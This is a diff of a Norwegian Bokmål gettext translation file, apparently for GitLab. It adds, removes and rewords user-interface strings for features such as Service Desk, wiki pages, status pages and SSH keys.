@@ -26879,8 +27554,8 @@ msgstr "Velg en gruppe du ønsker å invitere"
msgid "Select a label"
msgstr "Velg et stempel"
-msgid "Select a namespace to fork the project"
-msgstr "Velg et navneområde for å utgreine prosjektet"
+msgid "Select a milestone"
+msgstr ""
msgid "Select a new namespace"
msgstr "Velg et nytt navnefelt"
@@ -26909,9 +27584,15 @@ msgstr "Velg en tidssone"
msgid "Select all"
msgstr "Velg alt"
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr "Velg tilordnet"
@@ -26966,9 +27647,6 @@ msgstr "Velg prosjekt for å velge sone"
msgid "Select projects"
msgstr "Velg prosjekter"
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,20 +27881,44 @@ msgstr "Tjenestedesk"
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
+msgstr "Tjeneste-URL"
+
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
msgstr ""
-msgid "Service URL"
-msgstr "Tjeneste-URL"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
+msgstr ""
msgid "Session ID"
msgstr "Økt-ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr "Sett milepælen til %{milestone_reference}."
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "bestem et passord"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr "Tøm status"
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr "Rediger status"
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr "Hva er statusen din?"
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] "Viser %{count} prosjekter"
msgid "Showing %{limit} of %{total_count} issues. "
msgstr "Viser %{limit} av %{total_count} saker. "
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr "Viser %{pageSize} av %{total} saker"
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr "Viser alle saker"
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr "Side-ved-side"
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr "Tildel helsestatus"
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,15 +29271,15 @@ msgstr "Status:"
msgid "Status: %{title}"
msgstr "Status: %{title}"
+msgid "StatusPage|AWS %{docsLink}"
+msgstr ""
+
msgid "StatusPage|AWS Secret access key"
msgstr "AWS hemmelig tilgangsnøkkel"
msgid "StatusPage|AWS access key ID"
msgstr "AWS-tilgangsnøkkel-ID"
-msgid "StatusPage|AWS documentation"
-msgstr "AWS-dokumentasjon"
-
msgid "StatusPage|AWS region"
msgstr "AWS-region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,8 +29304,8 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
-msgstr "For å publisere hendelser til en ekstern statusside, vil GitLab lagre en JSON-fil i Amazon S3-kontoen din på et sted som er tilgjengelig for den eksterne statustjenesten. Sørg for å også sette opp %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
+msgstr ""
msgid "StatusPage|configuration documentation"
msgstr ""
@@ -28671,9 +29394,6 @@ msgstr "Undernøkler"
msgid "Submit"
msgstr "Send inn"
-msgid "Submit %{humanized_resource_name}"
-msgstr "Send inn %{humanized_resource_name}"
-
msgid "Submit a review"
msgstr "Send inn en vurdering"
@@ -28689,9 +29409,6 @@ msgstr "Send inn endringer …"
msgid "Submit feedback"
msgstr "Send tilbakemelding"
-msgid "Submit issue"
-msgstr "Send inn sak"
-
msgid "Submit review"
msgstr "Send inn gjennomgang"
@@ -28749,9 +29466,6 @@ msgstr "Abonnementet ble vellykket slettet."
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] "Testdekning: %d treff"
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr "Det avansert søket i GitLab er en kraftig søketjeneste som sparer deg tid. I stedet for å opprette duplisert kode og kaste bort tid, kan du nå søke etter kode inni andre team som kan hjelpe ditt eget prosjekt."
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr "Den nåværende saken"
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr "Nedlastingslenken vil utløpe om 24 timer."
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr "Feilene vi kom over var:"
@@ -29648,6 +30370,9 @@ msgstr "Filen har blitt vellykket slettet."
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "Invitasjonen kunne ikke bli akseptert."
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr "Pseudonymisert datainnsamling er deaktivert. NÃ¥r den er aktivert, vil G
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr "Statusen i tabellen nedenfor gjelder bare for standardgrenen og er basert på den %{linkStart}nyeste rørledningen%{linkEnd}. Når du har aktivert en skanning for standardgrenen, vil enhver påfølgende funksjon gren du oppretter inkludere skanningen."
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr "Det er ingen arkiverte prosjekter ennå"
@@ -30001,9 +30747,6 @@ msgstr "Det er ingen tilpassede prosjektmaler satt opp for denne GitLab-instanse
msgid "There are no issues to show"
msgstr "Det er ingen saker å vise"
-msgid "There are no issues to show."
-msgstr "Det er ingen saker å vise."
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr "Denne gruppen"
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr "Dette er en Premium-funksjon"
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr "TGrafen nedenfor er en oversikt over trafikk som kommer inn til applikasjonen din, som sporet av Web Application Firewall (WAF). Se dokumentene for instruksjoner om hvordan du får tilgang til WAF-loggene for å se hvilken type skadelig trafikk som prøver å få tilgang til appen din. Dokumentkoblingen er også tilgjengelig ved å klikke på «?»-ikonet ved siden av tittelen nedenfor."
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr "Oppgaver"
msgid "To GitLab"
msgstr "Til GitLab"
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr "For å komme i gang, skriv inn din FogBugz-URL og -påloggingsinformasjo
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr "For å komme i gang, skriv inn din Gitea-verts-URL og en %{link_to_personal_token}."
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr "Veksle navigasjon"
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr "Skru på %{strongStart}bruks-ping%{strongEnd} for å aktivere analyse av brukeraktivitet, kjent som %{docLinkStart}Kohorter%{docLinkEnd}."
-msgid "Turn on Service Desk"
-msgstr "Slå på Tjenestedesk"
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr "URL"
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr "Nettadresse er påkrevd"
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr "Last opp CSV-fil"
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr "Last opp lisens"
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "Pakker"
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr "Brukerens ID"
@@ -32569,8 +33336,11 @@ msgstr "Brukerinnstillinger"
msgid "User was successfully created."
msgstr "Brukeren ble vellykket opprettet."
-msgid "User was successfully removed from group and any subresources."
-msgstr "Brukeren ble vellykket fjernet fra prosjektet og eventuelle underressurser."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
+msgstr ""
msgid "User was successfully removed from project."
msgstr "Brukeren ble vellykket fjernet fra prosjektet."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr "Brukere som ber om tilgang til"
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr "Brukerne ble vellykket lagt til."
@@ -32866,8 +33633,23 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
-msgstr "%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
+msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
msgstr "Mediantid fra første commit til sakene blir lukket."
@@ -32875,6 +33657,12 @@ msgstr "Mediantid fra første commit til sakene blir lukket."
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr "Standardverdistrømmen kan ikke bli slettet"
@@ -33026,9 +33814,15 @@ msgstr "Vis stempler"
msgid "View log"
msgstr "Vis loggbok"
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr "Vis fletteforespørsel"
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "Vis åpne fletteforespørsler"
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr "Vis dokumentasjonen"
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr "Fletteforespørsel"
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr "Webhook"
@@ -33653,6 +34468,9 @@ msgstr "Hva beskriver deg best?"
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr "Installer Gollum"
msgid "WikiClone|Start Gollum and edit locally"
msgstr "Start Gollum og rediger lokalt"
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,18 +34641,6 @@ msgstr "historikk"
msgid "WikiHistoricalPage|most recent version"
msgstr "nyligste versjon"
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
-msgstr "Flere eksempler er i %{docs_link}"
-
-msgid "WikiMarkdownDocs|documentation"
-msgstr "dokumentasjon"
-
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
-msgstr "For å lenke til en (ny) side, bare skriv %{link_example}"
-
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
-msgstr ""
-
msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr "Er du sikker på at du vil slette denne siden?"
@@ -33850,11 +34653,38 @@ msgstr "Vil du slette siden %{pageTitle}?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
-msgstr "Opprett %{pageTitle}"
+msgid "WikiPage|Commit message"
+msgstr ""
+
+msgid "WikiPage|Content"
+msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
-msgstr "Oppdater %{pageTitle}"
+msgid "WikiPage|Create %{pageTitle}"
+msgstr ""
+
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
+msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
@@ -33865,9 +34695,6 @@ msgstr "Wikier"
msgid "Wiki|Create New Page"
msgstr "Opprett ny side"
-msgid "Wiki|Create page"
-msgstr "Opprett side"
-
msgid "Wiki|Created date"
msgstr "Opprettelsesdato"
@@ -33880,9 +34707,6 @@ msgstr "Ny side"
msgid "Wiki|Page history"
msgstr "Sidens historikk"
-msgid "Wiki|Page title"
-msgstr "Sidetittel"
-
msgid "Wiki|Page version"
msgstr "Sideversjon"
@@ -33943,6 +34767,9 @@ msgstr "Skriv en kommentar eller dra filene dine hit …"
msgid "Write a comment…"
msgstr "Skriv en kommentar …"
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr "Skriv en milepælbeskrivelse …"
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr "Du har ikke noen abonnementer enda"
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr "Du har ikke tillatelse til å forlate denne %{namespaceType}."
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr "Du har vellykket kjøpt et abonnement på %{plan}-plan for %{seats}. Du mottar en kvittering via e-post."
-msgid "You haven't added any issues to your project yet"
-msgstr "Du har ikke lagt til noen saker i prosjektet ditt ennå"
-
-msgid "You haven't selected any issues yet"
-msgstr "You har ikke valgt noen saker enda"
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr "Du forlot «%{membershipable_human_name}»-%{source_type}."
@@ -34402,7 +35229,7 @@ msgstr "Du må oppgi ditt nåværende passord for å kunne endre den."
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr "Du trenger tillatelse."
-msgid "You need to be logged in."
-msgstr "Du må være logget inn."
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "SSH-nøklene dine (%{count})"
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr "Din gjøremålsliste"
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr "Din lisens er gyldig fra"
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr "Lisensen din vil bli inkludert i GitLab-sikkerhetskopien og vil overleve oppgraderinger, så ved normal bruk trenger du aldri å laste opp %{code_open}.gitlab-lisens%{code_close}-filen din på nytt."
@@ -34822,7 +35655,7 @@ msgstr "Zoom-møte fjernet"
msgid "[No reason]"
msgstr "[Ingen grunn]"
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr "laget"
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr "opprettet %{timeAgo}"
@@ -35415,6 +36260,9 @@ msgstr "hjelp"
msgid "http:"
msgstr "http:"
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr "https://din-bitbucket-tjener"
@@ -35585,8 +36433,8 @@ msgstr "logg inn"
msgid "manual"
msgstr "manual"
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
-msgstr "Matematikken i denne oppføringen tar for lang tid å gjengi og vises kanskje ikke som forventet. Av ytelsesgrunner er matteblokker også begrenset til %{maxChars} tegn. Vurder å dele opp store formler, å dele matteblokker mellom flere oppføringer, eller å bruke et bilde i stedet."
+msgid "math|Displaying this math block may cause performance issues on this page"
+msgstr ""
msgid "math|There was an error rendering this math block"
msgstr ""
@@ -35620,13 +36468,10 @@ msgstr "%{commitCount} vil bli lagt til i %{targetBranch}."
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 innflettings-commit"
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
